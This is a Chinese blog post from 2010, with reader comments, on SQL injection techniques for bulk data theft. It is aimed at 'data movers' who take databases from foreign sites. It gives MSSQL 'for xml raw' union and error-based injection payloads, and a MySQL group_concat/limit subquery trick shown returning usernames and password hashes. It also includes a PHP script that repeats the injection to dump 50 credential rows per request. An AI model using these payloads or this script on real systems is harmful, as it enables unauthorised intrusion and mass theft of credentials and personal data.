Apr
28

SQL注入中获取数据的一些技巧

最近接触了好多欧美日韩台数据库的数据搬运工,很多目标站想拿下来很难很难,不过大家看中的只是数据而非webshell,webshell只是为了搬运数据方便一点。于是试问下,只存在注入时,您还在一条条搬么?

一、MSSQL获取数据:

用的比较多的就是for xml raw了,MSSQL2000都支持的!

注入中显示数据的两个办法均可以使用,一是union select、二是显错,以MSSQL2005为例:

select username from members where 1=2 union select top 3 username from members for xml raw
返回(如果username重复,自动去除重复值):

<row username="admin"/><row username="Anna"/><row username="oldjun"/>

select username from members where 1=(select top 3 username from members for xml raw)
返回:

Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value '<row username="admin"/><row username="Anna"/><row username="oldjun"/>' to data type int.

当数据量很大,无webshell,有注入点可以利用的时候,for xml raw 是不错的获取批量数据的办法!为了不让返回的数据量过大,top可以限制小一点,比如100,另外要附加脚本或者程序对返回值进行处理。

二、MYSQL获取数据:

用的比较多的是group_concat,mysql>=4.1支持该函数,可能很多人知道了,但我看过的文章几乎都是用来读table_name或者column_name的,毕竟表名、列名的数据量不大,所以用起来很方便,可以一下子把所有表名或者所有列名读出来。不过用group_concat批量注入读数据的很少,虽然可以提高效率,增快速度。

因为group_concat有个瓶颈,当group_concat与limit连用时,limit不起作用(也许是先执行group_concat),于是group_concat一次性读出很多条数据(取决于group_concat_max_len,默认1024),而一般网站数据量都是很大的。一旦不能与limit连用,怎么获取之后的数据呢?

其实简单变动下SQL语句即可以实现group_concat与limit连用:

select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A

返回:

guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6

于是简单做下字符串处理,前三条数据就出来了。为了返回不至于数据量过大,单次查询100以下一般可以接受的。

三、给出部分示例代码(mysql group_concat 50条数据每次):

<?

if ($argc 3) {
    
print_r('
+---------------------------------------------------------------------------+
Usage: php '
.$argv[0].' start end(end: count/50)
Example:
php '
.$argv[0].' 0 9999
Author:oldjun(http://www.oldjun.com)
+---------------------------------------------------------------------------+
'
);
        exit;
    }

    
error_reporting(7);
    
ini_set('max_execution_time'0);
    
    
$start $argv[1];
    
$over $argv[2];
    
    for(
$i=$start;$i<=$over;$i++){
        
getdata($i);
    }
    
function 
getdata($i)
{
    
$resp send($i);
    if (
$resp){
        
preg_match('#<<<<<<<<<<([^\n]+):([^\n]+)>>>>>>>>>>#'$resp$value);
        
        if(
$value){
            
$namearr=explode("|||",$value[1]);
            
$passarr=explode("|||",$value[2]);
            for(
$j=0;$j<50;$j++){
                echo 
$namearr[$j]."|||".$passarr[$j]."\r\n";
            }
            unset(
$namearr);
            unset(
$passarr);
        }else{
            echo 
$resp;
            echo 
"value error,return $i\r\n";
                
getdata($i);
        }
    }
    else{
        echo 
"resp error,return $i\r\n";
            
getdata($i);
    }
}

function 
send($i)
{
    
$limit=$i*50;
    
//发送数据包代码省略
    //注入语句示例:union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
}
?>

共有10条评论

  1. 暗夜潜风: Apr,28th,2010

    顶oldjun

  2. 神刀网: Apr,28th,2010

    不过,好久没看到你的身影了!
    嘿嘿~!

  3. sec87: Apr,29th,2010

    0dayjun,等你发DZ漏洞

  4. my5t3ry: Apr,30th,2010

    顶老君

  5. [...]来自oldjun[...]

  6. TombKeeper: May,6th,2010

    不错的技巧,顶!

  7. safe3: May,7th,2010

    好东西呀呀呀。

  8. aaaaa

  9. QQ空间日志: Jun,1st,2010

    不错,作者常常能在一些平常的做法中,总结出另类的想法,佩服!

  10. neeke: Jun,2nd,2010

    这些都没用过。

NAME:

required

E-MAIL:

required, will not be published

HOMEPAGE:

CONTENT: